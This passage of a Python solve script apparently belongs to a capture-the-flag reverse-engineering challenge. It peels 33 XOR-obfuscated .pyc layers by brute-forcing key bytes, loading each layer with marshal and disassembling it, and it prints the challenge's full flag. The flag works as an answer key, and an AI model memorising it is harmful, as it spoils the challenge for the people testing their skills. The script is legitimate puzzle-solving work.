</span></span><span class="line"><span class="cl">                <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getsize</span><span class="p">(</span><span class="n">file_path</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">            <span class="p">):</span> 
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">                <span class="c1"># Print the path of the file that will be deleted </span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Deleting File &gt;&gt;&gt;&#34;</span><span class="p">,</span> <span class="n">file_path</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\\</span><span class="s1">&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">))</span> 
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">                <span class="c1"># Delete the empty file  </span>
</span></span><span class="line"><span class="cl">                <span class="n">os</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">file_path</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">                <span class="n">no_of_files_deleted</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">no_of_files_deleted</span><span class="p">,</span> <span class="s2">&#34;file(s) have been deleted.&#34;</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_checksum</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Create a SHA-256 hash object</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha256</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Update the hash object with the data</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha256</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Return the hexadecimal digest of the data</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">sha256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Smart XOR implementation based on pwntools:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># https://github.com/Gallopsled/pwntools/blob/db98e5edfb/pwnlib/util/fiddling.py#L299-L351</span>
</span></span><span class="line"><span class="cl">    <span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="nb">bytearray</span><span class="p">([</span><span class="n">s</span><span class="p">])</span> <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="nb">int</span><span class="p">)</span> <span class="k">else</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">args</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">xor_</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">xored</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">args</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">xored</span> <span class="o">^=</span> <span class="n">s</span><span class="p">[</span><span class="n">n</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">xored</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">length</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">args</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="n">xor_</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor_some</span><span class="p">(</span><span class="n">pyc</span><span class="p">,</span><span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34; 11
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_NAME                3 (xor)
</span></span></span><span class="line"><span class="cl"><span class="s2">    PUSH_NULL
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_CONST               6 (b&#39;....&#39;)
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_NAME                4 (range)
</span></span></span><span class="line"><span class="cl"><span class="s2">    PUSH_NULL
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_CONST               7 (256)
</span></span></span><span class="line"><span class="cl"><span class="s2">    CALL                     1
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_NAME                5 (user_input)
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_CONST               0 (0)
</span></span></span><span class="line"><span class="cl"><span class="s2">    BINARY_SUBSCR
</span></span></span><span class="line"><span class="cl"><span class="s2">    CALL                     3
</span></span></span><span class="line"><span class="cl"><span class="s2">    STORE_NAME               6 (marshalled)&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">marshalled</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">pyc</span><span class="p">,</span><span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">),</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34; 12
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_NAME                7 (marshal)
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_ATTR               17 (loads + NULL|self)
</span></span></span><span class="line"><span class="cl"><span class="s2">    LOAD_NAME                6 (marshalled)
</span></span></span><span class="line"><span class="cl"><span class="s2">    CALL                     1
</span></span></span><span class="line"><span class="cl"><span class="s2">    STORE_NAME               9 (compiled)&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">compiled</span> <span class="o">=</span> <span class="n">marshal</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">marshalled</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">compiled</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># user_input = (</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     b&#39;N&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     + b&#39;C&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     + b&#39;3&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     + b&#39;{&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#    # + b&#34;\xff&#34;*32 #input(&#34;Indtast kodeord til Gift Wrappinator 9001: &#34;).encode()</span>
</span></span><span class="line"><span class="cl"><span class="c1"># )</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#user_input += b&#34;\xff&#34;*(33 - len(user_input)) </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#assert len(user_input) == 33, &#34;Kodeordets længde passer ikke med antal lag!&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="cl"><span class="n">code</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;N&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;C&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;{&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;4&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;n&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;0&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;7&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;h&#39;</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">,</span><span class="c1">#10</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;r&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;_&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;0&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;n&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;_&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;4&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;n&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;d&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;_&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;n&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;t&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;h&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;r&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;_&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;0&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;n&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;!&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;}&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">code</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span> <span class="o">+=</span> <span class="n">c</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_checksum</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Create a SHA-256 hash object</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha256</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Update the hash object with the data</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha256</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Return the hexadecimal digest of the data</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">sha256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">layer</span> <span class="o">=</span> <span class="mi">33</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">save_layer</span><span class="p">(</span><span class="n">nr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;./layer/_</span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">nr</span><span class="p">)</span><span class="si">}</span><span class="s2">.pyc&#34;</span><span class="p">,</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">pyc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">generate_checksum</span><span class="p">(</span><span class="n">pyc</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pyc</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x9e</span><span class="s1">|</span><span class="se">\x7f</span><span class="s1">~yx{zutwvqssrmloni</span><span class="se">\x9b\xa7</span><span class="s1">jed</span><span class="se">\xf2</span><span class="s1">f=`1a]</span><span class="se">\\</span><span class="s1">_^YX[ZUTWVQPSRML</span><span class="se">\x1c</span><span class="s1">N|IKJEDGFa@</span><span class="se">\x1f</span><span class="s1">@</span><span class="se">\x1f</span><span class="s1">&lt;l?</span><span class="se">\x0c</span><span class="s1">9;:5476</span><span class="se">\x11</span><span class="s1">0o2</span><span class="se">\x7f</span><span class="s1">//.)(+*%$</span><span class="se">\&#39;</span><span class="s1">&amp;! #&#34;</span><span class="se">\x1d\x1c\x1f\x1e</span><span class="s1">J</span><span class="se">\x18</span><span class="s1">.</span><span class="se">\x1b\x15\x14\x17\x16\x11\x10</span><span class="s1">3</span><span class="se">\x12</span><span class="s1">Q</span><span class="se">\x0e</span><span class="s1">-</span><span class="se">\x0e</span><span class="s1">Z</span><span class="se">\t</span><span class="s1">&gt;</span><span class="se">\x0b\x05\x04\x07\x06\x01\x00</span><span class="s1">#</span><span class="se">\x02\xa1\xfc\xad\xfd\xf9\xf8\xfb\xfa\xf5\xf4\xf7\xf6\xf1\xf0\xf3\xf2\xed\xec\xef\xee\xe9\xe8\xb8\xea\xd0\xe5\xe7\xe6\xe1\xe0\xe3\xe2\xfd\xdc\x83\xdc\xfb\xd8\x88\xdb\xe0\xd5\xd7\xd6\xd1\xd0\xd3\xd2\xed\xcc\x93\xce\x9b\xcb\xcb\xca\xc5\xc4\xc7\xc6\xc1\xc0\xc3\xc2\xbd\xbc\xbf\xbe\xb9\xb8\xbb\xba\xe6\xb4\x82\xb7\xb1\xb0\xb3\xb2\xad\xac\x8f\xae\xf5\xaa\x89\xaa\xf6\xa6\x92\xa7\xa1\xa0\xa3\xa2\x9d\x9c\xbf\x9e\xfe\x9b\xb2\x9e\xf2\x0e\x0e\x0f\x08\t\n</span><span class="s1">+</span><span class="se">\xb2\xf6\xa1\x95\xd2\xbb\xb3\xb1\xb0\xbf\xbe\xb2\xec\xa0\xa3\xa2</span><span class="s1">]</span><span class="se">\\</span><span class="s1">_^YX[ZUTWVQPSRMLONJKHIF</span><span class="se">\x7f</span><span class="s1">&lt;V</span><span class="se">\x0c</span><span class="s1">{8R0&amp;rT</span><span class="se">\x11</span><span class="s1">-)(456zq1?&gt;(l#/.h,+3!7</span><span class="se">\&#39;</span><span class="s1">1)1bXN</span><span class="se">\x1f</span><span class="s1">PL</span><span class="se">\x18</span><span class="s1">K[^_RB</span><span class="se">\x11</span><span class="s1">_C</span><span class="se">\x13</span><span class="s1">c</span><span class="se">\x05</span><span class="s1">,</span><span class="se">\xf4</span><span class="s1">-</span><span class="se">\\</span><span class="s1">BG@</span><span class="se">\xfe</span><span class="s1">&#34;UMEFR</span><span class="se">\xc7\x19</span><span class="s1">olpvo</span><span class="se">\xb3\x15\xe7\x17\x16\x11\x10\xc9\x12\xd7\x04</span><span class="s1">3cfl~f`:u</span><span class="se">\x0e\x01\x00\x03\x03\xfd\xfc\xff\x8d\xac\xf8\xfb\xfa\x05\xf7\xf6\xf7\xf0</span><span class="s1">(</span><span class="se">\xf3\xf6</span><span class="s1">j</span><span class="se">\xe6</span><span class="s1">n</span><span class="se">\xe4</span><span class="s1">a</span><span class="se">\xdb</span><span class="s1">o</span><span class="se">\xe5</span><span class="s1">&lt;</span><span class="se">\xe4\xe2</span><span class="s1">6</span><span class="se">\xe7\xd6</span><span class="s1">7</span><span class="se">\xe2\xea\x04\xdf\xda</span><span class="s1">^</span><span class="se">\xd2</span><span class="s1">Z</span><span class="se">\xd0</span><span class="s1">]</span><span class="se">\xe7</span><span class="s1">S</span><span class="se">\xd9\x08\xd0\xd6\x02\xcb\xfa\x1b\xce\xfe\x10\xcb\xce</span><span class="s1">B</span><span class="se">\xce</span><span class="s1">F</span><span class="se">\xcc</span><span class="s1">I</span><span class="se">\xf3</span><span class="s1">G</span><span class="se">\xcd</span><span class="s1">d</span><span class="se">\xbc\xba</span><span class="s1">n</span><span class="se">\xbf\x8e</span><span class="s1">o</span><span class="se">\xba\x82</span><span class="s1">l</span><span class="se">\xb7\xb2</span><span class="s1">6</span><span class="se">\xba</span><span class="s1">2</span><span class="se">\xb8</span><span class="s1">%</span><span class="se">\x9f</span><span class="s1">+</span><span class="se">\xa1</span><span class="s1">p</span><span class="se">\xa8\xae</span><span class="s1">z</span><span class="se">\xa3\x92</span><span class="s1">r</span><span class="se">\xa6\x96\xd2\xa5\xa2\x9d\x9c</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">save_layer</span><span class="p">(</span><span class="n">layer</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">hex_range</span> <span class="o">=</span> <span class="p">(</span> 
</span></span><span class="line"><span class="cl">    <span class="n">code</span> <span class="o">+</span> 
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="nb">int</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x80</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_dis</span><span class="p">(</span><span class="n">check</span><span class="p">,</span><span class="n">layer</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#key = b&#34;NC3{&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">hex_range</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">binobj</span> <span class="o">=</span> <span class="n">xor_some</span><span class="p">(</span><span class="n">check</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                          <span class="n">char</span><span class="p">)</span> <span class="c1"># was 2</span>
</span></span><span class="line"><span class="cl">            <span class="n">dis</span><span class="o">.</span><span class="n">code_info</span><span class="p">(</span><span class="n">binobj</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">good_binobj</span> <span class="o">=</span> <span class="n">binobj</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1">#print(e)</span>
</span></span><span class="line"><span class="cl">            <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">file_path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;./dis/_</span><span class="si">{</span><span class="n">layer</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="s2">.txt&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span><span class="s2">&#34;w&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">dis</span><span class="o">.</span><span class="n">dis</span><span class="p">(</span><span class="n">good_binobj</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="n">file</span><span class="o">=</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;./layer/_</span><span class="si">{</span><span class="n">layer</span><span class="si">}</span><span class="s2">.pyc&#34;</span><span class="p">,</span><span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">check</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">generate_checksum</span><span class="p">(</span><span class="n">check</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_dis</span><span class="p">(</span><span class="n">check</span><span class="p">,</span><span class="n">layer</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#delete_empty_files_using_walk(&#39;./dis&#39;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">exit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">prg</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;\(b&#39;(.*)&#39;\)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">prg2</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;(</span><span class="se">\\</span><span class="s2">x[0-9a-f]</span><span class="si">{2}</span><span class="s2">)|.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_pyc</span><span class="p">(</span><span class="n">layer</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;./dis/_</span><span class="si">{</span><span class="n">layer</span><span class="si">}</span><span class="s2">.txt&#34;</span><span class="p">,</span><span class="s2">&#34;r&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">dis_file</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">matches</span> <span class="o">=</span> <span class="n">prg</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">dis_file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">chars</span> <span class="o">=</span> <span class="n">prg2</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">matches</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># new_pyc = bytes(matches.group(1),&#34;utf-8&#34;)</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;./layer/_</span><span class="si">{</span><span class="n">layer</span><span class="si">}</span><span class="s2">.pyc&#34;</span><span class="p">,</span><span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">chars</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">char</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">b_char</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">char</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="mi">4</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">b_char</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">char</span><span class="p">,</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">b_char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;./layer/_</span><span class="si">{</span><span class="n">layer</span><span class="si">}</span><span class="s2">.pyc&#34;</span><span class="p">,</span><span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">pyc</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">pyc</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">10</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">pyc</span><span class="p">[</span><span class="o">-</span><span class="mi">10</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">get_pyc</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">exit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">layer</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">33</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Layer </span><span class="si">{</span><span class="n">layer</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Getting pyc&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">check</span> <span class="o">=</span> <span class="n">get_pyc</span><span class="p">(</span><span class="n">layer</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;got pyc. getting key&#34;</span><span class="p">)</span>
